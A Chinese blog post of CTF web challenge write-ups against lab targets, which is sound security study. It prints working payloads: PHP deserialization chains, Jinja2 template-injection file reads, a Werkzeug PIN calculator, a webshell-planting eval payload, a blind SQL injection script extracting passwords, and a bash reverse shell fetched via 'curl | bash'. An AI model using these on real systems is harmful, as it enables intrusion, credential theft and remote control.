[GWCTF 2019]枯燥的抽奖

访问check.php得到部分源码

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");

首先我们可以发现,这个种子的范围其实也不是特别的大。也就是说,我们可以想办法看看能不能爆破这个抽奖代码。

试试php_mt_seed来一波

str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"

qq = 'jLQ1zt3GS0'

for i in range(len(qq)):
    for j2 in range(len(str_long1)):
        if qq[i] == str_long1[j2]:
            print("{0} {1} {2} {3} ".format(j2,j2,0,len(str_long1)-1),end='')

#9 9 0 61 47 47 0 61 52 52 0 61 27 27 0 61 25 25 0 61 19 19 0 61 29 29 0 61 42 42 0 61 54 54 0 61 26 26 0 61 
image.png
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

$qq = 'jLQ1zt3GS0';

$seed = 982096039;

$len1 = 20;

$str = '';

mt_srand($seed);

for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}

echo $str;

//9 9 0 61 47 47 0 61 52 52 0 61 27 27 0 61 25 25 0 61 19 19 0 61 29 29 0 61 42 42 0 61 54 54 0 61 26 26 0 61 
image.png

注意:一定要使用php_mt_seed 4.0,低于这个版本会爆不出来

[MRCTF2020]Ezpop

给了源码

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

里面原来的网址失效了,换个新网址

然后观察,发现Test类的__get方法支持在关键字未定义或私有/保护时执行函数;Modifier类的append方法可以触发include,但是需要输入参数,而__invoke方法可以无显式参数触发。所以方法大致也就明白了:构造Show类的一个对象,变量source是一个Show类对象;source其中变量str是一个Test类对象,指向的p是一个Modifier类对象,其var变量值是php://filter/convert.base64-encode/resource=flag.php

class Modifier {
    protected  $var="php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$o = new Show();
$o->source=new Show();
$o->source->str=new Test();
$o->source->str->p=new Modifier();

print_r(serialize($o));

print_r(urlencode(serialize($o)));

执行流程:

反序列化启动

第一步:Show启动__wakeupsource被当成了字符串。

第二步:source是一个Show类对象,所以触发了source__toString方法,str被触发。

第三步:str是一个Test类对象,由于不存在source变量,所以__get被触发,把变量p当成函数启动。

第四步:p是一个Modifier类对象,被当成函数启动时触发__invoke,而var变量是伪协议读取,所以成功包含flag.php内容。

试验一下:

image.png
image.png

[GYCTF2020]FlaskApp

先看提示,F12一下看到提示是PIN。那就很有可能是用Flask错误页面的PIN调试来执行命令。

随便在解密输点东西,触发错误,确实可以在输入PIN后命令执行。

可以在debug界面看到一部分源码,比如:

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)
    ​    flash( res ) 

接下来就是算PIN了。有了之前的失败经验(GACTF2020 simpleflask),我们这把是要看好版本来做题。

不过在GACTF2020中存在非预期,我们也用非预期尝试一下。

先读源码

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("app.py").read()}}
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config[&#39;SECRET_KEY&#39;] = &#39;s_e_c_r_e_t_k_e_y&#39;
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
    text = StringField(&#39;BASE64加密&#39;,validators= [DataRequired()])
    submit = SubmitField(&#39;提交&#39;)
class NameForm1(FlaskForm):
    text = StringField(&#39;BASE64解密&#39;,validators= [DataRequired()])
    submit = SubmitField(&#39;提交&#39;)

def waf(str):
    black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;,
                  &#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]
    for x in black_list :
        if x in str.lower() :
            return 1


@app.route(&#39;/hint&#39;,methods=[&#39;GET&#39;])
def hint():
    txt = &#34;失败乃成功之母!!&#34;
    return render_template(&#34;hint.html&#34;,txt = txt)


@app.route(&#39;/&#39;,methods=[&#39;POST&#39;,&#39;GET&#39;])
def encode():
    if request.values.get(&#39;text&#39;) :
        text = request.values.get(&#34;text&#34;)
        text_decode = base64.b64encode(text.encode())
        tmp = &#34;结果  :{0}&#34;.format(str(text_decode.decode()))
        res =  render_template_string(tmp)
        flash(tmp)
        return redirect(url_for(&#39;encode&#39;))

    else :
        text = &#34;&#34;
        form = NameForm(text)
        return render_template(&#34;index.html&#34;,form = form ,method = &#34;加密&#34; ,img = &#34;flask.png&#34;)

@app.route(&#39;/decode&#39;,methods=[&#39;POST&#39;,&#39;GET&#39;])
def decode():
    if request.values.get(&#39;text&#39;) :
        text = request.values.get(&#34;text&#34;)
        text_decode = base64.b64decode(text.encode())
        tmp = &#34;结果 : {0}&#34;.format(text_decode.decode())
        if waf(tmp) :
            flash(&#34;no no no !!&#34;)
            return redirect(url_for(&#39;decode&#39;))
        res =  render_template_string(tmp)
        flash( res )
        return redirect(url_for(&#39;decode&#39;))

    else :
        text = &#34;&#34;
        form = NameForm1(text)
        return render_template(&#34;index.html&#34;,form = form, method = &#34;解密&#34; , img = &#34;flask1.png&#34;)


@app.route(&#39;/&lt;name&gt;&#39;,methods=[&#39;GET&#39;])
def not_found(name):
    return render_template(&#34;404.html&#34;,name = name)

if __name__ == &#39;__main__&#39;:
    app.run(host=&#34;0.0.0.0&#34;, port=5000, debug=True)

然后我们就需要绕过waf了。于是有了一些奇妙的绕过方式。

Payload1:字符串拼接绕过法

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').listdir('/')}}

Payload2:大小写转换绕过法(可用于GACTF2020,本题不可用)

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__['__IMPORT__'.lower()]('OS'.lower()).listdir('/')}}

这样就可以想办法读取到flag了。

不过还有一种PIN法。计算一下

注:参考合适的版本算出PIN,不同版本可能不一样

参考文件

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/passwd").read()}}

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/machine-id").read()}}

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/sys/class/net/eth0/address").read()}}

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/proc/self/cgroup").read()}}

找个脚本

import hashlib
from itertools import chain
#用户名(读/etc/passwd)
#modname,默认不用改
#默认Flask
#Flask的app.py绝对路径(报错界面有)
probably_public_bits = [
    'flaskweb',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py',
]

#MAC地址的十进制表示,一般是/sys/class/net/eth0/address
#/etc/machine-id或/proc/sys/kernel/random/boot_id,新版本要加/proc/self/cgroup
#还有一种情况,/etc/machine-id为空,而只有/proc/self/cgroup
private_bits = [
    '2485410435244',
    'aea896a98edd685dd46e869754f36fba51d2bc1890d6b0d7e2cb83048ed821dc'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
image.png

[NPUCTF2020]ReadlezPHP

看源码,得知存在time.php?source

image.png

进入得到源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

?>

看起来就是普通的反序列化。注意__construct不会在unserialize时执行。

构造一下完事。

time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
image.png

[极客大挑战 2019]RCE ME

无字母数字的命令执行

可以考虑使用异或来拼凑命令,然后动态函数执行;取反也可以。

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

?>

这里提供一个结果比较长的异或脚本

global $chrlist,$chrlen,$pc;
$chrlist = '!@#$%^&*()~_+-=`;:<>,./?|[]{} "';
$chrlen = strlen($chrlist);
$pc = array();

for($i=0;$i<$chrlen;$i++){
    for($j=$i+1;$j<$chrlen;$j++){
        if($i==$j)continue;
        //print_r(substr($chrlist,$i,1).substr($chrlist,$j,1).':'.(substr($chrlist,$i,1)^substr($chrlist,$j,1)));
        $pc[substr($chrlist,$i,1)^substr($chrlist,$j,1)]= "('".substr($chrlist,$i,1)."'^'".substr($chrlist,$j,1)."')";
    }
}

function GetString($cmd){
    global $chrlist,$pc;
    $leng=strlen($cmd);
    $cou_cmd = '';
    for($i=0;$i<$leng;$i++){
        //print_r(substr($cmd,$i,1));
        //print_r($pc[substr($cmd,$i,1)]);
        //print_r($pc[substr($cmd,$i,1)]);
        if(strpos($chrlist,substr($cmd,$i,1))===false){
            $cou_cmd = $cou_cmd . $pc[substr($cmd,$i,1)] . '.';
        }
        else {
            $cou_cmd = $cou_cmd."'".substr($cmd,$i,1)."'.";
        }
    }
    return $cou_cmd;
}

先取反一下:

image.png

phpinfo

?code=(~%8F%97%8F%96%91%99%90)();

得到phpinfo()。接下来我们来试一下shell

http://ccb2fc5e-5c62-4c04-96b2-3da202f00f69.node3.buuoj.cn/?code=('<..>//'^']]][][')(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);

前半段是异或assert,后半段是(eval($_POST[a]))的取反。这样就可以拿到shell了。

然后蚁剑连接,考虑到phpinfo显示是PHP7.0.*,所以可以用PHP7_GC_UAF来绕过disable_functions。然后启动/readflag得到flag

image.png

顺便说一下,根据这篇文章这篇文章assert在后期PHP版本似乎无法执行代码了。

[CISCN2019 华东南赛区]Web11

底部的Smarty暗示是用PHP Smarty搭建。那就有可能是模板注入了。

添加X-Forwarded-For,发现右上角的Current IP更改了。

image.png

那么我们试试写点别的东西

image.png
image.png

完事,直接想办法读flag

image.png
image.png

[BSidesCF 2019]Futurella

F12一键秒

image.png

[CISCN2019 总决赛 Day2 Web1]Easyweb

访问robots.txt,得到存在备份文件

image.png

image.php.bak,读取文件内容

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\0","%00","\'","'"),"",$id);
$path=str_replace(array("\0","%00","\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>

应该是个注入题,任意文件读取

然后卡住了,找个WP看看,人傻了

重写了可以判断大小写的盲注脚本

import sys
import requests
import string
import time

config_html = 'http://62e58df8-5446-41f7-bdb0-9e013f060a64.node3.buuoj.cn/image.php'

#config_html = 'http://requestbin.net/r/1gf5gin1'

config_method = 'GET'

config_key = 'path'

config_data = {
    'id': '\0',
    'path' : 'OR id=if({0},1,0)#'
}

config_length = 'char_length({0}){1}'

config_line = 'ascii(substr({0},{1},1)){2}'

config_success_flag = 'JFIF'

config_failed_flag = ''

config_retry_time = 0.1

config_headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'DNT':'1',
    'Connection':'close'
}

config_data_range = string.digits + string.ascii_letters + '{}_,'

config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

print(config_data_range)

def get(url,data):
    if config_method == 'GET':
        r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
    else:
        r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    while r.status_code != 200:
        print('[-] Retry to connect...')
        time.sleep(config_retry_time)
        if config_method == 'GET':
            r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
        else:
            r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    r.encoding = 'UTF-8'
    #print(r.text)
    if config_success_flag in r.text:
        return True
    elif config_failed_flag in r.text:
        return False
    else:
        print('Error: method error!')
        return False

def cfg_data(par):
    data = config_data.copy()
    data[config_key] = data[config_key].format(par)
    return data

def concat_line_length(cmd,i):
    return config_length.format(cmd,'>' + str(i))

def concat_line_value(cmd,i,nowlen):
    return config_line.format(cmd,nowlen+1,'>' + str(ord(i)))

def get_length_line(cmd):
    for i in range(0,255):
        time.sleep(config_retry_time)
        if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
            #print(cfg_data(concat_line_length(cmd,i)))
            print('[-] {0} NOT length: {1}'.format(cmd,i))
            continue
        else:
            print('[+] {0} length: {1}'.format(cmd,i))
            return i
    print('[-] Search Length Failed...')
    return 0

def get_value_line(cmd,length,preline):
    ret = list(preline)
    for l in range(length - len(preline)):
        #print(l,length-len(preline))
        fg = False
        for i in config_data_range:
            #print(config_data_range)
            #print(i)
            time.sleep(config_retry_time)
            #print(cfg_data(concat_line_value(cmd,i,l+len(preline))))
            if get(url = config_html,data = cfg_data(concat_line_value(cmd,i,l+len(preline)))):
                continue
            else:
                fg = True
                ret.append(i)
                #print(ret)
                print('[+] {0} : {1}'.format(cmd,''.join(ret)))
                break
        if fg == False:
            ret.append(config_data_range[-1])
            print('[+] {0} : {1}'.format(cmd,''.join(ret)))
            break
    return ret

def database():
    cmd = "database()"
    #data_length = get_length_line(cmd)
    data_length = 10
    return get_value_line(cmd,data_length,'')

database()

def table():
    cmd = "(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=CHAR(99, 105, 115, 99, 110, 102, 105, 110, 97, 108))"
    #data_length = get_length_line(cmd)
    data_length = 12
    return get_value_line(cmd,data_length,'')

table()

def column():
    cmd = "(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = CHAR(117, 115, 101, 114, 115))"
    data_length = get_length_line(cmd)
    #data_length = 12
    return get_value_line(cmd,data_length,'')

column()

def username():
    cmd = "(SELECT group_concat(username) FROM users)"
    data_length = get_length_line(cmd)
    #data_length = 12
    return get_value_line(cmd,data_length,'')

username()

def password():
    cmd = "(SELECT group_concat(password) FROM users)"
    data_length = get_length_line(cmd)
    #data_length = 12
    return get_value_line(cmd,data_length,'')

password()
image.png
image.png

登录后文件上传,短标签绕过。

image.png
image.png

[BJDCTF 2nd]duangShell

页面提示swp,所以打开.index.php.swp

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>give me a girl</title>
</head>
<body>
    <center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/>|\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|%|^|~|base64|xxd|echo|$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}

没有办法直接获得返回内容,只能反弹shell

本来计划用requestbin带出来(没有禁用curl),但是没有外网,还是得反弹。

写shell,监听

原理在这篇文章有写

bash -i >& /dev/tcp/174.1.157.2/13000 0>&1

写到/var/www/html/index.txt里面

image.png

Payload:

curl http://174.1.157.2/index.txt | bash
image.png

find找到真实flag。

[BJDCTF 2nd]Schrödinger

注意隐藏的文字

image.png

似乎要删了这个,我们看看内容,发现是一个登录网站

那就爆一下,解包改Cookie为0的base64编码(我也不知道为什么)

然后得到密码

image.png
av11664517@1583985203

貌似是个b站视频,进去一下,北大量子力学

2020-3-12的评论有flag,为了方便大家,我就放下面了

Flag:BJD{Quantum_Mechanics_really_Ez}

Web题搞得跟Misc一样,表示很无语。。。

It is my final heart.
最后更新于 2022-07-24